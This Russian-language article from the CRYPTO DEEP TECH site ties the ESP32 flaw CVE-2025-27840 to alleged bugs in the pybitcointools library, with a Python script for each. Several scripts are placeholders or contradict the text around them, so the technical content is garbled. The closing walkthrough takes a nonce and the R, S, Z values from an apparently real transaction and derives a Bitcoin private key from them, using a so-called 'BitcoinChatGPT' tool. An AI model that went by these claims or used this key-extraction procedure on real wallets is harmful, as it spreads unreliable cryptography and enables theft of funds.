Cryptocurrencies Mastering Encryption Key Management: 10 Best Practices for Data Protection Building Digital Trust: Essential Practices for Cryptographic Key Management in Modern Organizations Exploiting Weak ECDSA Implementations: Lattice-Based Attacks on Cryptocurrency Private Keys Implementing Robust Key Management: Protecting Cryptographic Keys Throughout Their Lifecycle Safeguarding Digital Fortunes: Best Practices for Crypto Private Key Management Mitigating Risks: A Review of Secure X.509 Private Key Storage Options and Best Practices Biometric-Based Framework for Secure Lifecycle Management of Blockchain Private Keys: Generation, Encryption, Storage, and Recovery Unveiling the Cryptographic Foundations of Cryptocurrency: Security, Anonymity, and Blockchain Integrity Exploring Isomorphic Elliptic Curves in the Secp256k1/Secq256k1 Cycle: Cryptographic Insights and Applications A Tale of Two Elliptic Curves: Exploring Efficiency, Security, and Cryptographic Trade-offs in secp256k1 and secp256r1 Secp256k1: The Efficient and Predictable Elliptic Curve Powering Cryptographic Security in Bitcoin and Beyond Cryptographic Key Management: Reducing Corporate Risk and Enhancing Cybersecurity Posture Understanding Digital Signatures: Mechanisms, Applications, and Security Evaluating Bitcoin’s Elliptic Curve Cryptography: Efficiency, Security, and the Possibility of a Hidden Backdoor Exposing Vulnerabilities in Hardware Security Modules: Risks to Cryptographic Key Management and Bitcoin Security Security of the Secp256k1 Elliptic Curve used in the Bitcoin Blockchain Randstorm Vulnerability: Cryptographic Weaknesses in BitcoinJS Wallets (2011–2015) and Their Security Implications Critical Vulnerabilities in Bitcoin Core: Risks of Outdated Node Software and the Path to Enhanced Security Analysis of Randstorm: Risks and Mitigation Strategies for Bitcoin Wallets Created Between 2011 and 2015 Cryptocurrency Exchange Hacks: Lessons from History, Vulnerabilities, and Strategies for Protection A Taxonomy of Bitcoin Security Issues and Defense Mechanisms Machine Learning for Computer and Cyber Security Bitcoin Security and Privacy Challenges: Risks, Countermeasures, and Future Directions Trying to attack SECP256K1 (2025) Sebastian Arango Vergara Software Engineer Randstorm: Assessing the Impact of Cryptographic Vulnerabilities in JavaScript-Based Cryptocurrency Wallets (2011–2015) Cryptocurrency Vulnerabilities: Blockchain Common Vulnerability List Cryptocurrency attacks and security vulnerabilities: 51% attack, Sybil attack, Double-Spend attack. DDoS attacks and their repercussions. Potential flaws of cryptocurrencies Bitcoin’s Security Landscape: A Comprehensive Review of Vulnerabilities and Exposures Exposed: The Vulnerabilities You Need to Know about the World’s Most Popular Cryptocurrency — Bitcoin The Resilience of Bitcoin: Understanding and Managing Vulnerabilities in a Decentralized Network Top Methods to Detect Security Vulnerabilities in Cryptocurrency Market CVE-2018-17144: A Critical Denial of Service Vulnerability in Bitcoin Core and Its Implications for Blockchain Security Blockchain Wallet Security: Understanding the Risks of Pseudo-Random Number Generators and Centralized Custody Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. PrivExtract Исходный код Google Colab Birthday Paradox Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/0m9goH8Lpa0 Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069 Источник: https://cryptodeeptool.ru/private-key-debug Криптоанализ
  5. Команда Project Eleven запустила конкурс Q-Day Prize, чтобы проверить, насколько реальны теоретические риски квантовых атак на криптографию Биткоина, а также — как близко современные квантовые технологии подобрались к взлому защиты экосистемы первой криптовалюты. Конкурс продлится до 5 апреля 2026 года. Сейчас криптография на основе алгоритмов эллиптических кривых (ECC), в частности ECDSA и ECDLP, обеспечивают защиту приватных ключей и подписи транзакций в сети Биткоина. Однако квантовые компьютеры, использующие алгоритм Шора, теоретически способны решить задачу вычисления приватного ключа из публичного, заявили организаторы конкурса. По оценке Project Eleven, для взлома алгоритма ECC может потребоваться квантовый компьютер с примерно 2330 кубитами и 126 миллиардами логических вентилей Тоффоли (Toffoli gates) — для атаки на 256-битный ключ в течение разумного времени. В случае успеха под угрозу взлома и кражи активов могут попасть миллионы биткоин-адресов, особенно те, чьи публичные ключи уже раскрыты. Нынешние квантовые компьютеры, такие как IBM Heron (156 кубитов) и Google Willow (105 кубитов), далеки от необходимых 2000 логических кубитов, позволяющих взломать 256-битный ключ ECC. Тем не менее, быстрый прогресс квантовых технологий и доступ к ним через облачные платформы (IBM, AWS, Google) вызывает обеспокоенность экспертов Project Eleven. Подробнее: https://www.bits.media/project-eleven-predlozhil-1-btc-za-kvantovyy-vzlom-kriptografii-bitkoina/
  6. CRYPTO DEEP TECH Данная статья посвящена рассмотрению возможности внедрения злоумышленником скрытого списка уязвимостей через обновление модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к приватным ключам, что затрагивает миллиарды устройств, использующих данный микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечение безопасности для сети Биткоин мы выявили следующие уязвимости, где возможность использования недействительных приватных ключей из-за отсутствия проверки нижней границы в функции has_invalid_privkey; уязвимость подделки подписей транзакций в функции electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в генерации ключей функцией random_key, делающая личные приватные ключи для криптовалютных кошельков предсказуемыми ; отсутствие проверки точек на кривой ECC в функции multiply, что может привести к invalid curve attacks; уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты, потенциально приводящая к подмене публичного ключа; и уязвимости, связанные с устаревшими API хеширования в функции bin_ripemd160. В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через WiFi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут несанкционированно получать доступ к данным Биткоин-кошельков, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Данная проблема затрагивает миллионы IoT-устройств, которые используют этот микроконтроллер. Использование этой уязвимости позволит злоумышленникам осуществлять атаки, маскируясь под легитимных пользователей, и навсегда заражать уязвимые устройства. Это угрожает безопасности IoT-устройств, основанных на микроконтроллере ESP32, и может привести к краже приватных ключей Биткоин-кошельков. Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже приватных ключей Биткоин-кошельков. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подменять MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности. Злоумышленники могут осуществлять атаки на устройства IoT с микроконтроллером ESP32, используя уязвимости в соединениях Bluetooth и Wi-Fi может стать инструментом для атак на другие устройства в сети, связанной с Биткоином, а также для кражи конфиденциальной информации, включая приватные ключи Биткоин-кошельков. Скрытый список уязвимостей: Злоумышленник может обновить модули и внедрить в код список различных уязвимостей, среди которых: Уязвимость в функции has_invalid_privkey, которая может быть использована для получения приватного ключа. Уязвимость в функции electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоина. Уязвимость в функции random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG). Уязвимость в функции multiply, где отсутствует проверка точки на кривой ECC. Уязвимости в функциях ecdsa_raw_sign и bin_ripemd160. Эти уязвимости могут быть использованы для внедрения поддельных обновлений на устройства ESP32, что предоставит злоумышленникам низкоуровневый доступ к системе. Это позволит им обойти средства контроля аудита кода и получить доступ к приватным ключам. В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей одного компонента в их архитектуре, что обозначено как CVE-2025-27840. Уязвимость для получение приватного ключа в функция has_invalid_privkey Данная уязвимость обнаружена в коде проверки приватных ключей Биткоин, позволяющая использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы приватный ключ был больше 0. Код представлен в демонстрационных целях. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305 Эта ошибка позволяет использовать плохие приватные ключи, что может привести к серьезным проблемам, включая потерю денег. Чтобы исправить это, нужно добавить проверку, чтобы приватный ключ был больше 0. Представьте, что кто-то пытается «взломать» сеть Биткоин. Он находит слабое место в проверке приватных ключей, используемых для доступа к криптовалюте. Проблема заключается в том, что код проверяет только, не слишком ли большой приватный ключ. Если ключ очень большой, он отвергается. Но код забывает проверить, не слишком ли ключ маленький (меньше или равен нулю). Участок кода, где это происходит: ... ... if privkey >= N: # Checking only the upper bound raise Exception("Invalid privkey") if privkey <= 0: # Lower bound is not checked properly return True ... ... Из-за этой ошибки можно использовать недействительные (очень маленькие) приватные ключи. Эта уязвимость находится в функции has_invalid_privkey. Чтобы всё это работало, нужно установить библиотеку ecdsa (она нужна для работы с криптографией): Python-скрипт secp256k1_privkey_validator.py !pip install ecdsa import ecdsa def has_invalid_privkey(privkey: int) -> bool: """ Checks if a private key is invalid, based on the absence of a lower bound check. Args: privkey: The private key to check. Returns: True if the private key is invalid (<= 0 or >= N), False otherwise. """ # Order of the secp256k1 elliptic curve used by Bitcoin N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 if privkey >= N: # Check only the upper bound raise Exception("Invalid privkey") if privkey <= 0: # Lower bound check missing return True return False # Example usage privkey = 0 # Invalid private key is_invalid = has_invalid_privkey(privkey) if is_invalid: print("Invalid private key!") else: print("Valid private key.") Объяснение кода: Импорт библиотеки ecdsa: Хотя в данном примере она не используется напрямую, в реальных сценариях работы с Биткоином и ECDSA (Elliptic Curve Digital Signature Algorithm) эта библиотека может понадобиться для выполнения криптографических операций. Функция has_invalid_privkey(privkey: int) -> bool: Принимает на вход приватный ключ privkey в виде целого числа. Определяет константу N, которая представляет собой порядок эллиптической кривой secp256k1, используемой в Биткоине. Проверяет, что privkey больше или равен N. Если это так, вызывает исключение, указывающее на невалидность приватного ключа. Проверяет, что privkey меньше или равен 0. Если это так, возвращает True, что указывает на невалидность приватного ключа из-за отсутствия проверки нижней границы. Если обе проверки не выявили невалидность, возвращает False. Пример использования: Устанавливает значение privkey = 0, что является невалидным приватным ключом. Вызывает функцию has_invalid_privkey для проверки privkey. В зависимости от результата выводит сообщение о том, является ли приватный ключ валидным или нет. Уязвимость: В коде присутствует уязвимость, связанная с недостаточной проверкой приватного ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать невалидные приватные ключи, что может привести к непредсказуемым последствиям, включая потерю средств. Как это исправить: Необходимо добавить проверку нижней границы приватного ключа, чтобы убедиться, что он больше 0. Уязвимость подделки подписей транзакции Биткоин в функция electrum_sig_hash Функция electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425 Атакующий, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, применяемый Electrum, через функцию electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что это может привести к атакам подделки подписи из-за несовместимости с BIP-137. Предоставленный скрипт Python демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, чтобы воспользоваться уязвимостью из-за несовместимости с BIP-137. Функция electrum_sig_hash подготавливает сообщение, добавляя к нему префикс и кодируя его длину, прежде чем выполнить двойное хеширование SHA256. Скрипт Python, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, чтобы выполнить атаки подделки подписи из-за несовместимости BIP-137. Python-скрипт bitcoin_sign_hash.py !pip install ecdsa import hashlib def num_to_var_int(i): if i < 0xfd: return i.to_bytes(1, 'little') elif i <= 0xffff: return b'\xfd' + i.to_bytes(2, 'little') elif i <= 0xffffffff: return b'\xfe' + i.to_bytes(4, 'little') else: return b'\xff' + i.to_bytes(8, 'little') def from_string_to_bytes(s): return s.encode('utf-8') def bin_dbl_sha256(s): hash1 = hashlib.sha256(s).digest() hash2 = hashlib.sha256(hash1).digest() return hash2 def electrum_sig_hash(message): padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message) return bin_dbl_sha256(padded) # Usage example message = "Example message for signing" message_hash = electrum_sig_hash(message) print(f"Electrum message hash: {message_hash.hex()}") В этом скрипте: num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Bitcoin. from_string_to_bytes(s): кодирует строку в байты, используя кодировку UTF-8. bin_dbl_sha256(s): выполняет двойное хеширование SHA256 на входных данных. electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений в Electrum, подверженный несовместимости с BIP-137. Уязвимость в функция random_key Слабый PRNG в генерации ключей (Недетерминированный PRNG) Проблема возникает, когда для создания ключей в сети Биткоин используется функция random_key, которая полагается на модуль random. Модуль random не предназначен для криптографических целей, так как он не генерирует достаточно случайные числа, что делает личные приватный ключи предсказуемыми для злоумышленников. В связи с этим, сеть Биткоин становится уязвимой. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432 Скрипт Python, в котором сеть Биткоин уязвима из-за использования random вместо secrets или os.urandom, что делает личные приватные ключи предсказуемыми для злоумышленника сети Биткоин: Python-скрипт privkey_generate.py import random import time from hashlib import sha256 def random_string(length): return ''.join(random.choice('0123456789abcdef') for i in range(length)) def random_key(): # Gotta be secure after that java.SecureRandom fiasco... entropy = random_string(32) \ + str(random.randrange(2**256)) \ + str(int(time.time() * 1000000)) return sha256(entropy.encode('utf-8')).hexdigest() # Example usage: generate a private key private_key = random_key() print("Generated Private Key:", private_key) В этом скрипте модуль random используется для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа. Чтобы создать более безопасный ключ, вы можете использовать модуль secrets или os.urandom. Вот пример использования модуля secrets: import secrets import hashlib def secure_random_key(): # Generate a random number with enough entropy random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits # Hash the random bytes to create a private key private_key = hashlib.sha256(random_bytes).hexdigest() return private_key # Example usage: generate a secure private key secure_private_key = secure_random_key() print("Generated Secure Private Key:", secure_private_key) В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного приватного ключа. Этот метод гораздо безопаснее, чем использование модуля random. Уязвимость в функции ecdsa_raw_sign Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене публичного ключа в сети Биткоин. Существует большой риск, когда злоумышленник может воспользоваться особенностью восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что публичный ключ будет восстановлен неверно. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543 В примере кода, представленном с использованием библиотеки pycryptodome, демонстрируется, как можно смоделировать эту ситуацию, подменив Y-координату, чтобы получить другой, недействительный публичный ключ. Важно отметить, что пример кода упрощен и не является полноценной реализацией атаки, а лишь показывает её принцип. Python-скрипт weak_key_recovery.py !pip install pycryptodome from hashlib import sha256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from Crypto.Hash import SHA256 import secrets # Elliptic curve parameters secp256k1 # PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve. # Therefore, we will use the standard ECC curve. # For production code, be careful when choosing the curve and its parameters. def hash_to_int(msghash): return int(sha256(msghash.encode('utf-8')).hexdigest(), 16) def deterministic_generate_k(msghash, priv_key_int): k = 0 while k == 0: v = b'\x01' * 32 k = b'\x00' * 32 k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant return k def ecdsa_raw_sign(msghash, priv_key_int): z = hash_to_int(msghash) k = deterministic_generate_k(msghash, priv_key_int) # Generate private key object key = ECC.construct(curve='P-256', d=priv_key_int) # Calculate point R = kG # PyCryptodome does not provide direct access to the coordinates of point R # Therefore, the signature will be calculated in a different way, using DSS # s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined # v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available return key, z, k # Return the key, hash, and k for further use in signing def recover_pubkey(msghash, signature, key): # WARNING: This is a VERY SIMPLIFIED example of public key recovery. # In real life, ECDSA public key recovery is a complex process. # This code is intended only to demonstrate the principle. # PyCryptodome does not have a simple way to recover PublicKey from r and s directly. # This code does not perform real recovery, but creates a new PublicKey from the private key. # In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey. # But this requires a more complex logic to work with the elliptic curve. return key.public_key() def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Пример сообщения" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered) Этот скрипт демонстрирует, как можно изменить Y-координату, чтобы получить неверный публичный ключ. Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее. Помимо представленного выше скрипта, вот несколько дополнительных моментов, которые следует учитывать: Frey-Rück Attack: Эта атака использует уязвимости в подписи ECDSA для извлечения секретного ключа «K» (nonce), что в конечном итоге может привести к восстановлению Биткоин-кошелька. Побитовые операции: XOR является ценным инструментом для шифрования данных и может использоваться в сочетании с другими операциями для повышения безопасности. Атака 51%: Хотя это и не связано напрямую с восстановлением Y-координат, важно понимать, что злоумышленник, контролирующий более 50% вычислительной мощности сети, может потенциально манипулировать блокчейном. Манипуляции с координатами кривой Jacobian: Злоумышленники могут манипулировать математическими свойствами координат Jacobian для создания поддельных цифровых подписей. Обновление ПО: Крайне важно всегда обновлять программное обеспечение и использовать только проверенные устройства, чтобы предотвратить потенциальную потерю монет BTC из-за критических уязвимостей. Уязвимость в функции bin_ripemd160 Устаревшие API хеширования в сети Биткоин, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378 Атакующий в сети Биткоин может найти уязвимость в устаревшем API хеширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хеширования, но при неудаче переключается на собственную, потенциально слабую реализацию. В предоставленном Python-скрипте демонстрируется, как злоумышленник может проверить узел сети Биткоин на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хешей и другим уязвимостям. Скрипт имитирует атаку, хешируя данные и выводя предупреждение, если используется слабая реализация. Python-скрипт ripemd160_vulnerability.py import hashlib import binascii # RIPEMD160 implementation (if hashlib doesn't have it) class RIPEMD160: def __init__(self, data): self.data = data def digest(self): # This is a placeholder. In a real implementation, you would perform the RIPEMD160 hashing algorithm. # For demonstration purposes, we will return a dummy hash. return b'\x00' * 20 # Returns 20 bytes of zeros def bin_ripemd160(string): """ Hashes the input string using RIPEMD160. It attempts to use hashlib's implementation first and falls back to a custom implementation if necessary. """ try: digest = hashlib.new('ripemd160', string).digest() except ValueError: print("RIPEMD160 not supported in hashlib, falling back to custom implementation.") digest = RIPEMD160(string).digest() return digest def check_for_weak_api(data): """ Simulates an attacker probing a Bitcoin network node for weak API implementations. """ print("Attacker: Probing node for weak API...") # Simulate data that needs to be hashed (e.g., part of a transaction) data_to_hash = data.encode('utf-8') # Attempt to hash the data using RIPEMD160 hashed_data = bin_ripemd160(data_to_hash) print("Attacker: Data hashed (potentially using a weak or custom RIPEMD160 implementation).") print("Attacker: Hash value:", binascii.hexlify(hashed_data).decode('utf-8')) # Here, an attacker would potentially exploit the weak implementation. # For demonstration, we'll just print a warning. if hashed_data == b'\x00' * 20: # This is the dummy hash from our custom RIPEMD160 print("Attacker: WARNING: Node is using a weak or custom RIPEMD160 implementation!") print("Attacker: EXPLOITABLE: This could allow for hash collisions or other vulnerabilities.") else: print("Attacker: Node appears to be using a standard RIPEMD160 implementation.") # Example usage: if __name__ == "__main__": data = "Example Bitcoin transaction data" check_for_weak_api(data) Подробное объяснение: Реализация RIPEMD160 (при отсутствии в hashlib): Класс RIPEMD160 имитирует реализацию RIPEMD160. В действительности он должен выполнять алгоритм хеширования RIPEMD160. В демонстрационных целях он возвращает фиктивный хеш. Функция bin_ripemd160(string): Пытается хешировать входную строку с помощью RIPEMD160. Сначала пытается использовать реализацию hashlib, а при необходимости возвращается к пользовательской реализации. Если hashlib не поддерживает RIPEMD160, она захватывает исключение ValueError и использует пользовательскую реализацию. Функция check_for_weak_api(data): Эта функция имитирует злоумышленника, проверяющего узел сети Биткоин на наличие слабых реализаций API. Выводит, что злоумышленник проверяет узел на наличие слабого API. Кодирует данные в формат utf-8. Вызывает bin_ripemd160 для хеширования данных. Выводит, что данные были хешированы, и показывает значение хеша. Если хеш представляет собой фиктивный хеш (20 байт нулей), выводит предупреждение о том, что узел использует слабую или пользовательскую реализацию RIPEMD160, что может привести к коллизиям хешей или другим уязвимостям. Пример использования: В блоке if __name__ == "__main__":, он задает пример данных и вызывает check_for_weak_api с этими данными. Как это работает: Имитация атаки: Скрипт имитирует атакующего, который пытается идентифицировать узлы в сети Биткоин, использующие устаревшие или слабые API для хеширования RIPEMD160. Проверка реализации RIPEMD160: Он пытается использовать стандартную библиотеку hashlib для хеширования RIPEMD160. Если это не удается (потому что hashlib в конкретной среде не поддерживает RIPEMD160), он возвращается к пользовательской реализации (которая в этом примере является упрощенной версией). Идентификация слабых мест: Пользовательская реализация (в этом примере) намеренно слабая. Атакующий может использовать эту слабость, если узел использует эту реализацию. Возможные риски: Коллизии хешей: Слабая реализация хеша RIPEMD160 может быть подвержена коллизиям хешей. Злоумышленник может использовать это, чтобы подделать транзакции или данные. Уязвимости безопасности: Устаревшие API могут содержать известные уязвимости, которые злоумышленник может использовать. Как смягчить: Использование актуальных библиотек: Убедитесь, что вы используете актуальные и проверенные библиотеки для криптографических операций. Если RIPEMD160 необходим, используйте надежную и актуальную реализацию. Регулярные обновления: Поддерживайте актуальность программного обеспечения Биткоин, чтобы пользоваться исправлениями безопасности и улучшениями. Валидация: Всегда проверяйте выходные данные криптографических операций, чтобы убедиться, что они соответствуют ожидаемым стандартам. Уязвимость в функции multiply Отсутствие проверки точки на кривой ECC В Биткоин существует потенциальная уязвимость в функции multiply из-за недостаточной проверки точек на кривой ECC. Это может позволить злоумышленнику проводить invalid curve attacks, хотя современные криптографические библиотеки, такие как pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипулирование кривой Jacobian, что может привести к поддельным подписям и манипуляциям в сети. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275 В сети Биткоин злоумышленник может найти уязвимость в функции multiply, которая заключается в отсутствии полной проверки, что точка находится на эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks). Пример кода для атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция multiply, где отсутствует надежная проверка точки на кривой, и функция invalid_curve_attack, которая пытается использовать эту слабость. В коде также используются библиотеки pycryptodome для криптографических операций. В pycryptodome сложнее проводить такие атаки напрямую из-за встроенных механизмов безопасности. Код показывает, как можно создать «неправильную» кривую и попытаться выполнить умножение, но подчеркивается, что это небезопасно и требует глубокого понимания криптографии. Python-скрипт ecdsa_curve_attack.py !pip install pycryptodome from Crypto.Hash import SHA256 from Crypto.Signature import DSS from Crypto.PublicKey import ECC from Crypto.Math import * class Exploit: def __init__(self): self.msg = "ATTACK!" self.hash = hash_msg(self.msg) def sign_message(self, private_key): signer = DSS.new(private_key, 'fips-186-3') signature = signer.sign(self.hash) return signature def verify_signature(self, public_key, signature): verifier = DSS.new(public_key, 'fips-186-3') try: verifier.verify(self.hash, signature) return True except ValueError: return False def hash_msg(msg): hasher = SHA256.new(msg.encode('utf-8')) return hasher.digest() # Elliptic curve parameters (example, must be replaced with the parameters of the curve being used) # WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS! # EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION! curve = 'secp256r1' # Or another curve # Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply) # This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives. def multiply(pubkey, privkey): # WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE! # IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS! # Checking if the point is on the curve. In PyCryptodome, this is done automatically. #Performing multiplication result = privkey.d * pubkey.pointQ return result # Example of invalid curve attack (adapted for pycryptodome) def invalid_curve_attack(public_key, malformed_curve_parameters): # Creating a "wrong" curve (example!) #malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'], # malformed_curve_parameters['oid'], # malformed_curve_parameters['field'], # malformed_curve_parameters['a'], # malformed_curve_parameters['b'], # malformed_curve_parameters['generator'], # malformed_curve_parameters['order']) # Creating a public key on the "wrong" curve (example!) #attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve) # Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result) Объяснение кода: Уязвимость: Функция multiply проверяет, что точка находится на кривой ECC, только если она не является точкой в бесконечности. Это позволяет использовать точки, которые не находятся на основной кривой, но находятся на «скрученной» кривой (twist curve). Invalid Curve Attack: Атака заключается в использовании точки на другой кривой (malformed curve), чтобы получить информацию о секретном ключе. Поскольку проверка кривой не выполняется для всех точек, можно передать точку с другой кривой и использовать результат для восстановления части секретного ключа. Функция invalid_curve_attack: Эта функция принимает публичный ключ и параметры malformed curve. Она создает точку на malformed curve и использует уязвимую функцию multiply для выполнения умножения. Как работает атака малой подгруппы (Small Subgroup Attack): Выбор точки малого порядка: Злоумышленник выбирает точку Q малого порядка на кривой или на twist кривой. Отправка точки: Злоумышленник отправляет эту точку Q жертве, выдавая её за свой публичный ключ. Вычисление общего секрета: Жертва вычисляет nQ , где n — секретный ключ жертвы. Перебор вариантов: Поскольку Q имеет малый порядок, существует небольшое количество возможных значений для nQ . Злоумышленник может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая n по модулю порядка Q . Рекомендации: Всегда проверяйте, что входные точки действительно находятся на кривой ECC. Используйте библиотеки, которые обеспечивают надежную проверку кривой и защиту от invalid curve attacks. Small Subgroup Attack Декодируем уязвимую RawTX транзакцию с помощью функции сервиса SMALL SUBGROUP ATTACK Результат значение K секретного ключа Nonce в формате HEX K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2 Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder Результат значении для R, S, Z в формате HEX R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0 S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9 Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8 Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator Dockeyhunt Private Key Calculator В результате мы получаем значение X приватный ключ в формате HEX X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Проверим полученный результат приватного ключа с помощью машинного обучения Запустим BitcoinChatGPT %run BitcoinChatGPT Apply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 